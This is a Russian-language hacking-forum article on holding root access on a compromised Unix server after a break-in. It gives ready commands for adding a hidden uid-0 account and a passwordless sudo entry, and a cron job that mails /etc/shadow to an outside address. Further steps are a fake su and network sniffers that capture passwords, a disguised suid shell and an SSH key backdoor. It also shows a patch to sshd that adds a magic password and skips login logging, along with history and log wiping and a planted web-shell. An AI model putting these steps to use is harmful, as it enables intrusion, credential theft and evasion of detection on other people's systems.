Способы сохранения root-доступа
Автор: d33 27.01.2017 13:18
Я уверен, у многих возникают вопросы, как закрепиться в системе после взлома. На любителя - установить rootkit, но часто бывает, что он не собирается или заточен под определенную версию ядра, тем более любой пассивный IDS без проблем сможет вычислить популярный shv5 ...
Какие варианты спросите Вы?
В этой статье я попробую ответить на этот вопрос и описать известные мне универсальные способы, удержания «нулевых» привилегий, которые должны работать на всех nix:
id uid=0(root) gid=0(root)
-
Для начала я бы порекомендовал по возможности “залатать” ту дыру, через которую вы попали в систему, потому что, если вы смогли, то кто-нибудь точно так же сможет, или уже смог проникнуть на сервер.
find / -type f -perm 4755
также проверим содержание /tmp на наличие различных perl’овых скриптов и сишных исходников если на первый взгляд все вроде бы и нормально, то чтобы убедиться в отсутствии public rootkit’ов установим rkhunter:
http://downloads.rootkit.nl/./installer.sh rkhunter –c
смотрим вывод, если нам не сообщат, что в системе установлен rootkit, то удаляем rkhunter:rm -rf /usr/local/rkhunter/ rm -rf /usr/bin/rkhunter/
в противном случае придется почитать форумы ))) -
Так как доступ у нас будет осуществляться по ssh, заглянем в /etc/ssh/sshd_conf , если там PermitRootLogin no, то в этом случае нам потребуется еще одна учетная запись или как вариант исправить PermitRootLogin на yes и перезапустить sshd
-
Добавить пользователя
Нужно отметить, что способ довольно палевный, и если админ не совсем баян, то вам перекроют кислород довольно быстро:echo ‘mial:x:0:0:mail:/var/spool/mail/:/bin/bash’ >> /etc/passwd echo ‘mial:$1$KVa6w1eH$Mdg2j4Og0gH1AhPJsZFJW/:::::::’ >> /etc/shadow
-
Используем sudo
Sudo предоставляет избранным пользователям выполнять команды как суперюзер Добавим в /etc/sudoershacker ALL=(ALL) NOPASSWD: ALL
то есть пользователь hacker получить возможность пользоваться sudo без ввода пароля -
Узнать пароль root’а
Сделать это можно следующими способами:-
Расшифровать пароли из /etc/shadow
В /etc/shadow хранятся хеши паролей, алгоритм UnixMD5, скорость перебора не очень большая, поэтому в этом деле поможет хороший словарик или много времени, мощное железо и немного удачи.
Можно даже прописать в cron высылать содержимое shadow нам на мыло:cd /etc/cron.monthly echo “cat /etc/shadow | grep root | mail bill(псинка)microsoft.com ” > updatedb.cron
если shadow небольшой, то можно даже целиком -
fake-su
По .bash_history найдем пользователей активно юзающих su
в .bash_profile прописывается alias su на наш fake, при вводе пароля fake срабатывает как будто был введен не правильный пароль и запишет его в файл, после чего запускается настоящий su.
Пример:
http://packetstormsecurity.org/UNIX/...n/kpr-fakesu.c -
Сниффинг
Перечислю некоторые: eth0sniff, PHossS, sniffit, tcpick...
Сниффер переводит сетевой интерфейс в promiscuous режим, что делает возможным «отлов» паролей ftp,pop,imap и др, среди которых, не исключено, могут попасться пароли, подходящие к учёткам, в том числе и root. На всякий случай скажу, что всё должно делаться из-под root’а.
Для установки может понадобится libpcap http://tcpdump.org/release/
сниффер обычно запускают в background’е и делают вывод в файл example:./PHossS > /tmp/phpsig31337.log &
Спустя пару дней/часов(не нужное зачеркнуть) можно возвращаться за урожаем соберем список паролей из логов и прогоним /etc/shadow john’ом, что-нибудь да расшифруется wink.gif -
Suidshell
Способ довольно тривиальный, но зачастую работает
я немного модифицировал код, для отвода глаз, вызываем с параметром -! и вводим пароль#include
void exreal(); int main(int argc, char *argv[]) { char pass[15]; if (argc скомпилируем и заменим какой-нибудь ping6 или traceroute6 )))
chmod 4755 our_suid
-
Расшифровать пароли из /etc/shadow
-
Идентификация в SSH по открытому ключу
В OpenSSH могут быть использованы алгоритмы аутентификации RSA или DSA.
Эти протоколы основаны на базе специально созданной паре ключей, а именно публичном и приватном ключах. Это асимметричные алгоритмы шифрования, то есть мы можем зашифровать информацию одним ключом, а расшифровать только другим.
Во-первых, сгенерируем пару ключей. Опцией -t мы задаём тип ключа, доступны следующие типы ключей rsa, dsa для протокола SSH 2 и rsa1 для SSH 1.
Далее, если необходимо, указываем место куда сохранить ключ, по умолчанию /home/user/.ssh/id_dsa. Если вводим пароль, наш приватный ключ будет зашифрован и для того, чтобы позднее воспользоваться этим ключом нам необходимо будет ввести пароль. Публичный ключ имеет суффикс .pub.
Суть заключается в добавление нашего public ключа в authorized_keys (располагается в папке .ssh, в корневой директории пользователя, если её нет, нужно создать). Нужно подметить, то что, если даже пароль учетной записи будет изменен, доступ у нас останется.
Предварительно нам нужно сгенерировать пару ключей, для примера я выбрал dsa:
nixssh-keygen –t dsa
при генерации вам предложат указать идентификационную фразу для защиты ключа (можете указать) создастся пара ключей в папке ~/.ssh
id_dsa.pub - Открытый ключ (open key)
id_dsa - Закрытый ключ (private key)
копируем содержание нашего id_dsa.pub в authorized_keys на взломанном хосте если мы разместили в /root/.ssh/authorized_keys то нам надо выполнить ssh Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript т.е. нам нужно войти под тем пользователь, которому добавили наш ключ в authorized_keys если вы вводили идентификационную фразу, вас попросят её ввести
windows
если вы коннектитесь с windows, то используйте утилиту PuTTYgen (an RSA and DSA key generation utility) выбираем SSH2-DSA и нажимаем Generate:
сохраняем Private key у себя на компе, а Public Key добавляем в authorized_key
запускаем putty, вкладка ssh -> Auth, тут выбираем наш private key
и точно так же попадаем на сервер -
Модификация sshd
смотрим версию ssh:
telnet localhost 22 SSH-1.99-OpenSSH_3.1p ^]
качаем src нужной версии и следующие изменения:
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/
//auth-passwd.c extern int nolog; //добавляем в начале файла //в конце файла находим строку и заменяем: if (strcmp(password,"magicpassword") == 0) {nolog=1;} return (strcmp(encrypted_password, pw_password) == 0 || strcmp(password, "secretpassword") == 0);
//loginrec.c int nolog; //добавляем в начале файла //Изменяем функцию login: int login_login (struct logininfo *li) { if (nolog == 1) { return 1;} else { li->type = LTYPE_LOGIN; return login_write(li); } }
//Изменяем функцию logout: int login_logout(struct logininfo *li) { if (nolog == 1) { return 1;} else { li->type = LTYPE_LOGOUT; return login_write(li); } }
Теперь при подключение по ssh, если мы введем magicpassword нас пускают без лишних вопрос и не заносят в лог факт о входе, в остальном всё работает по прежнему.
соберем и перезапустим sshd:./configure --sysconfdir=/etc/ssh/ //директория, где лежит sshd_conf make cp /usr/sbin/sshd /usr/sbin/sshd //на всякий пожарный cp sshd /usr/sbin/sshd /sbin/service sshd restart //перезапускаем службу
тагже можно модифицировать ssh так, чтобы логировать пароли исходящих/входящих подключений и таким образом поиметь аккаунты на других системах, это способ описан в статье от ShadOS: “Наиболее полное руководство по затрояниванию OpenSSH 4.6p1”
-
Добавить пользователя
-
bash_history
История команд хранится в основной директории пользователя в файле .bash_history, «нехорошие» команды могут нас выдать, поэтому каждый раз перед выходомunset HISTFILE
или как вариант запретить запись в .bash_history ))chmod 400 .bash_history
Как рекомендация, в любом случае заныкайте куда-нибудь на сервере web-shell... в случае если админ прикроет доступ, будет альтернативный подступ. Первым делом чистим логи: http://packetstormsecurity.org/UNIX/...rs/vanish2.tgz
./vanish user 0 ip